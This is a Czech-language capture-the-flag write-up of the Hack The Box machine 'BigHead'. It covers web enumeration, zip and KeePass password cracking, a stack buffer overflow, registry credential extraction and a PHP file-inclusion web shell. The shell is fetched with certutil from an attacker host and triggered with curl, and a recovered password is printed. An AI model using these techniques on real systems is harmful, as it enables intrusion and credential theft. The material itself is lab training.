tom@home.htb:~$

Blog o HTB

5 November 2020

BigHead

Úvod a kontext

BigHead je vícekrokový řetězec, kde webová enumerace rychle přechází do reverzního inženýrství a lokální práce ve Windows. První důležitá stopa neleží na hlavní stránce, ale ve vhostech dev.bighead.htb a code.bighead.htb, endpointu /coffee a veřejně dostupných archivech BHWS_Backup.zip, které prozradí implementaci BigheadWebSvr 1.0.

User část není jen o prvním shellu. Po přetečení vlastní služby je ještě potřeba z registru vytáhnout heslo k účtu nginx, přes tunel se připojit na interní SSH na portu 2020 a teprve potom zneužít linkto.php. Root část je zase cenná lekce o tom, že na Windows nejsou zajímavé jen soubory samotné, ale i alternativní datové proudy, KeePass metadata a key file.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0
|_http-server-header: nginx/1.14.0
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: PiperNet Comes

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
[14:49:59] Starting:
[14:50:15] 302 -  161B  - /backend.php  ->  http://10.10.10.112/BigHead
[14:50:15] 302 -  161B  - /backend/core/info.xml  ->  http://10.10.10.112/BigHead
[14:50:15] 302 -  161B  - /backend_dev/  ->  http://10.10.10.112/BigHead
[14:50:15] 302 -  161B  - /backend/  ->  http://10.10.10.112/BigHead
[14:50:15] 302 -  161B  - /backend_dev.php  ->  http://10.10.10.112/BigHead
[14:50:23] 200 -   11KB - /index.html

Enumerace webu (2)

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

gobuster dir -u http://dev.bighead.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 40 -x php
===============================================================
/blog                 (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blog.php             (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogs                (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogs.php            (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/wp-content           (Status: 302) [Size: 161] [--> http://dev.bighead.htb/blog]
/wp-content.php       (Status: 302) [Size: 161] [--> http://dev.bighead.htb/blog]
/bloggers             (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/bloggers.php         (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogger              (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogger.php          (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogging             (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogging.php         (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/bloglines            (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/bloglines.php        (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogcategory         (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/blogcategory.php     (Status: 302) [Size: 161] [--> http://dev.bighead.htb/wp-content]
/coffee.php           (Status: 418) [Size: 46]
/coffee               (Status: 418) [Size: 46]

Analýza zjištění

BigheadWebSvr 1.0 a veřejné zálohy

/coffee vrací podpis BigheadWebSvr 1.0, takže má smysl dohledat jeho implementaci a analyzovat ji offline. Veřejné zálohy BHWS_Backup.zip a starší BHWS_Backup_old.zip jsou v tomhle bodě zásadní, protože dávají k dispozici konfiguraci i binárku služby.

whatweb http://dev.bighead.htb/coffee
http://dev.bighead.htb/coffee [418 Unassigned] Country[RESERVED][ZZ], HTTPServer[BigheadWebSvr 1.0], IP[10.10.10.112], Teapot[I'm a teapot]

Obnovení hesla k archivu

Cracknutí hesla k archivu zde neotevírá jen jeden soubor. Otevírá cestu ke konfiguraci a ke zdrojům potřebným pro analýzu vlastního serveru.

zip2john BHWS_Backup.zip > zip.john

Starší záloha a další heslo

Starší varianta archivu dává další heslo a potvrzuje, že vývoj služby probíhal bez rozumné kontroly nad tím, co končí veřejně dostupné.

john -w=/usr/share/wordlists/rockyou.txt zip.john
__CENSORED__

Získání přístupu

Přetečení BigheadWebSvr 1.0

Offline analýza ukázala klasické stack overflow v bHeadSvr.dll, offset 72 bajtů a použitelný JMP ESP. Tím vzniká první shell na cílovém hostu a zároveň možnost číst lokální konfiguraci Windows služeb.

offset 72 bajtů
JMP ESP => f0125062
./BigHead-exploit.py

Přihlášení na cíl

Z prvního shellu je možné z registru přečíst hodnotu Authenticate u služby nginx, dekódovat ji na heslo a přes reverzní tunel se připojit na interní SSH na portu 2020. Teprve stabilní shell uživatele nginx dává pohodlný přístup k lokálním webovým aplikacím a souborům jako linkto.php.

reg query "HKLM\SYSTEM\CurrentControlSet\Services\nginx"
echo 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000 | xxd -r -p
ssh -p 2020 nginx@localhost # pass: H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87

$ cat /apps/testlink/htdocs/linkto.php
if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID'];
require_once($PiperCoinAuth);

certutil.exe -urlcache -split -f http://10.10.14.2:8000/win-shell-local.php win-shell-local.php

Získání user flagu

linkto.php používá require_once nad parametrem z požadavku, takže po nahrání win-shell-local.php stačí vnutit vlastní cestu a získat shell v kontextu webu.

curl -d "PiperID=1&PiperCoinID=C:\programdata\win-shell-local.php" -X POST http://code.bighead.htb/testlink/linkto.php
C:\Users\nginx\Desktop>more user.txt

Lokální stopy v profilu administrátora

Jakmile běží shell jako nginx, user.txt potvrzuje stabilní foothold a zároveň otevírá cestu k dalším lokálním artefaktům v profilu administrátora.

more user.txt
__CENSORED__

C:\Users\Administrator\Desktop>dir /ah /r
dir /ah /r
 Volume in drive C has no label.
 Volume Serial Number is 7882-4E78

 Directory of C:\Users\Administrator\Desktop

06/10/2018  14:33             1,519 root.txt
                              7,294 root.txt:Zone.Identifier:$DATA

Eskalace oprávnění

Získání root flagu

root.txt zde neleží přímo jako čitelný text. Rozhodující stopou je alternativní datový proud root.txt:Zone.Identifier, který po dekódování vede ke KeePass databázi. Konfigurace KeePass.config.xml pak prozradí, že databáze používá key file admin.png, takže je potřeba získat databázi, klíč i heslo darkness.

more < root.txt:Zone.Identifier
certutil -encode root.txt:Zone.Identifier foo.txt
base64 -d foo.txt > f
file f
=> KP-database: Keepass password database 2.x KDBX

<Association>
        <DatabasePath>..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier</DatabasePath>
        <Password>true</Password>
        <KeyFilePath>..\..\Users\Administrator\Pictures\admin.png</KeyFilePath>
</Association>
certutil -encode c:\Users\Administrator\Pictures\admin.png key.txt
keepass2john -k KP-key KP-database > KP.john
john -w=/usr/share/wordlists/rockyou.txt KP.john
kpcli --key KP-key --kdb KP-database
show root.txt -f

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - rce - ssh - php - exploit - enumeration